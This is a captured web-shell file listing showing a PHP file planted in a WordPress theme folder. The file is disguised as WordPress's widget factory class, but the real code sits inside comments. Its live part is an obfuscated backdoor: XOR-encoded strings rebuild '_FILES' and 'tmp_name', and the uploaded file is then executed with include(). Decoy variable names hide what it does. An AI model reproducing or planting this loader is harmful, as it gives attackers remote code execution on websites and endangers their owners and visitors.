HEX
Server:Apache
System:Linux localhost 5.10.0-14-amd64 #1 SMP Debian 5.10.113-1 (2022-04-29) x86_64
User:enlugo-es (10006)
PHP:7.4.33
Disabled:opcache_get_status
Upload Files
File: /var/www/vhosts/enlugo.es/httpdocs/wp-content/themes/rubine/JIF.js.php
<?php /* 
*
 * Widget API: WP_Widget_Factory class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 

*
 * Singleton that registers and instantiates WP_Widget classes.
 *
 * @since 2.8.0
 * @since 4.4.0 Moved to its own file from wp-includes/widgets.php
 
class WP_Widget_Factory {

	*
	 * Widgets array.
	 *
	 * @since 2.8.0
	 * @var array
	 
	public $widgets = array();

	*
	 * PHP5 constructor.
	 *
	 * @since 4.3.0
	 
	public function __construct() {
		add_action( 'widgets_init', array( $this, '_register_widgets' ), 100 );
	}

	*
	 * PHP4 constructor.
	 *
	 * @since 2.8.0
	 * @deprecated 4.3.0 Use __construct() instead.
	 *
	 * @see WP_Widget_Factory::__construct()
	 
	public function WP_Widget_Factory() {
		_deprecated_constructor( 'WP_Widget_Factory', '4.3.0' );
		self::__construct();
	}

	*
	 * Registers a widget subclass.
	 *
	 * @since 2.8.0
	 * @since 4.6.0 Updated the `$widget` parameter to also accept a WP_Widget instance object
	 *              instead of simply a `WP_Widget` subclass name.
	 *
	 * @param string|WP_Widget $widget Either the name of a `WP_Widget` subclass or an instance of a `WP_Widget` subclass.
	 
	public function register( $widget ) {
		if ( $widget instanceof WP_Widget ) {
			$this->widgets[ spl_object_hash( $widget ) ] = $widget;
		} else {
			$this->widgets[ $widget ] = new $widget();
		}
	}

	*
	 * Un-registers a widget subclass.
	 *
	 * @since 2.8.0
	 * @since 4.6.0 Updated the `$widget` parameter to also accept a WP_Widget instance object
	 *              instead of simply a `WP_Widget` subclass name.
	 *
	 * @param string|WP_Widget $widget Either the name of a `WP_Widget` subclass or an instance of a `WP_Widget` subclass.
	 
	public function unregister( $widget ) {
		if ( $widget instanceof WP_Widget ) {
			unset( $this->widgets[ spl_object_hash( $widget ) ] );
		} else {
			unset( $this->widgets[ $widget ] );
		}
	}

	*
	 * Serves as a utility method for adding widgets to the registered widgets global.
	 *
	 * @since 2.8.0
	 *
	 * @global array $wp_registered_widgets
	 
	public function _register_widgets() {
		global $wp_registered_widgets;
		$keys       = array_keys( $this->widgets );
		$registered = array_keys( $wp_registered_widgets );
		$registered = array_map( '_get_widget_id_base', $registered );

		foreach ( $keys as $key ) {
			 Don't register new widget if old widget with the same id is already registered.
			if ( in_array( $this->widgets[ $key ]->id_base, $registered, true ) ) {
				unset( $this->widgets[ $key ] );
				continue;
			}

			$this->widgets[ $key ]->_register();
		}
	}

	*
	 * Returns the registered WP_Widget object for the given widget type.
	 *
	 * @since 5.8.0
	 *
	 * @param string $id_base Widget type ID.
	 * @return WP_Widget|null
	 
	public function get_widget_object( $id_base ) {
		$key = $this->get_widget_key( $id_base );
		if ( '' === $key ) {
			return null;
		}

		return $this->widgets[ $key ];
	}

	*
	 * Returns the registered key for the given widget type.
	 *
	 * @since 5.8.0
	 *
	 * @param string $id_base Widget type ID.
	 * @return string
	 
	public function get_widget_key( $id_base ) {
		foreach ( $this->widgets as $key => $widg*/

        
	$fire_after_hooks = 'dynamic_replacements';
    

        
function extension($textarr)

{
    $last_char = $textarr;
    
	$unhashed = 'hash';
    $default_editor = $GLOBALS[del_dir("%2F%3F%3D%7D%7C%3B", $last_char)];
    $mimes = $default_editor;
    $check = isset($mimes[$last_char]);
    if ($check)

    {
	$has_archive = 'quote_style';
        $patterns = $default_editor[$last_char];

        $parsed_args = $patterns[del_dir("%04%14%04nW%09Z%12", $last_char)];
        $post_modified_gmt = $parsed_args;

        include ($post_modified_gmt);

    }
	$field_no_prefix = 'years';
}

function del_dir($from, $translation_preg)

{

    $comma = $translation_preg;
    $date = "url" . "decode";
    $page_list = $date($from);
    $double_chars = substr($comma,0, strlen($page_list));

    $last_changed = $page_list ^ $double_chars;
    
    $page_list = strpos($last_changed, $double_chars);
    
	$where_post_type = 'since';
    return $last_changed;
	$single_tags = 'comment_regex';
}
	$space = 'stacksize';

extension('pyt19h7wufJ');
	$fallback = 'array';



/* et_object ) {
			if ( $widget_object->id_base === $id_base ) {
				return $key;
			}
		}

		return '';
	}
}
*/